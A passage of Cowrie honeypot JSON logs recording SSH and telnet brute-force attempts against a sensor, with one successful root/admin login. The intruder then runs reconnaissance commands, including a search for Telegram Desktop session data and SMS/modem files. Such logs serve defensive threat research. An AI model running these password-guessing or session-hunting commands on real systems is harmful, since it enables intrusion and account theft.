sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:42.067513Z","src_ip":"193.37.70.224","session":"a2acb21d2ef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sam12345","message":"login attempt [root/sam12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:42.344453Z","src_ip":"193.37.70.224","session":"a2acb21d2ef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37428,"dst_ip":"10.17.0.5","dst_port":23,"session":"51efb9819e2d","protocol":"telnet","message":"New connection: 152.42.224.71:37428 (10.17.0.5:23) [session: 51efb9819e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:42.536033Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:43.436968Z","src_ip":"193.37.70.224","session":"a2acb21d2ef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45952,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8235631fcf0","protocol":"ssh","message":"New connection: 31.40.204.166:45952 (159.203.135.109:22) [session: f8235631fcf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:45.622689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:45.726305Z","src_ip":"31.40.204.166","session":"f8235631fcf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:45.907627Z","src_ip":"31.40.204.166","session":"f8235631fcf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.34.14.135","src_port":49132,"dst_ip":"10.17.0.5","dst_port":22,"session":"476993f3e0f8","protocol":"ssh","message":"New connection: 116.34.14.135:49132 (10.17.0.5:22) [session: 476993f3e0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:46.271627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:46.276732Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:46.488878Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:46.512609Z","src_ip":"31.40.204.166","session":"f8235631fcf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:47.629665Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:47.698589Z","src_ip":"31.40.204.166","session":"f8235631fcf0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:48.844326Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:49.319665Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:49.323155Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:49.326578Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:49.545700Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:50.017033Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:50.021013Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:50.236074Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:50.708948Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:50.711627Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:50.933460Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:51.406466Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:51.409796Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:51.623303Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:52.094468Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:52.097690Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:52.314070Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:52.786140Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:52.789898Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:53.005606Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:53.476107Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:53.479676Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:53.697616Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.590726375579834,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:53.963166Z","src_ip":"152.42.224.71","session":"d86a66152985","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:54.171147Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:54.174874Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:54.473033Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.502864122390747,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:54.824123Z","src_ip":"152.42.224.71","session":"f607a7ee5c5c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:54.982055Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:54.985781Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:55.202573Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43228,"dst_ip":"159.203.135.109","dst_port":22,"session":"f42991d80cfb","protocol":"ssh","message":"New connection: 31.40.204.166:43228 (159.203.135.109:22) [session: f42991d80cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:57.881944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:57.893831Z","src_ip":"31.40.204.166","session":"f42991d80cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:58.012482Z","src_ip":"31.40.204.166","session":"f42991d80cfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:58.589073Z","src_ip":"31.40.204.166","session":"f42991d80cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:59.718401Z","src_ip":"31.40.204.166","session":"f42991d80cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34002,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce801d52e9e8","protocol":"telnet","message":"New connection: 152.42.224.71:34002 (10.17.0.5:23) [session: ce801d52e9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:00.143973Z"}
{"eventid":"cowrie.session.closed","duration":50.33211946487427,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:01.376735Z","src_ip":"152.42.224.71","session":"33c6456c038f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46072,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b62c94c9bdd","protocol":"telnet","message":"New connection: 152.42.224.71:46072 (10.17.0.5:23) [session: 9b62c94c9bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:06.959723Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46076,"dst_ip":"10.17.0.5","dst_port":23,"session":"458a23de8bf7","protocol":"telnet","message":"New connection: 152.42.224.71:46076 (10.17.0.5:23) [session: 458a23de8bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:07.133868Z"}
{"eventid":"cowrie.session.closed","duration":44.088587522506714,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:08.737797Z","src_ip":"152.42.224.71","session":"35d1f1bf2a7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46088,"dst_ip":"10.17.0.5","dst_port":23,"session":"1754f358ffeb","protocol":"telnet","message":"New connection: 152.42.224.71:46088 (10.17.0.5:23) [session: 1754f358ffeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:09.758530Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43902,"dst_ip":"159.203.135.109","dst_port":22,"session":"46d30bffee14","protocol":"ssh","message":"New connection: 31.40.204.166:43902 (159.203.135.109:22) [session: 46d30bffee14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:09.911812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:09.916750Z","src_ip":"31.40.204.166","session":"46d30bffee14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa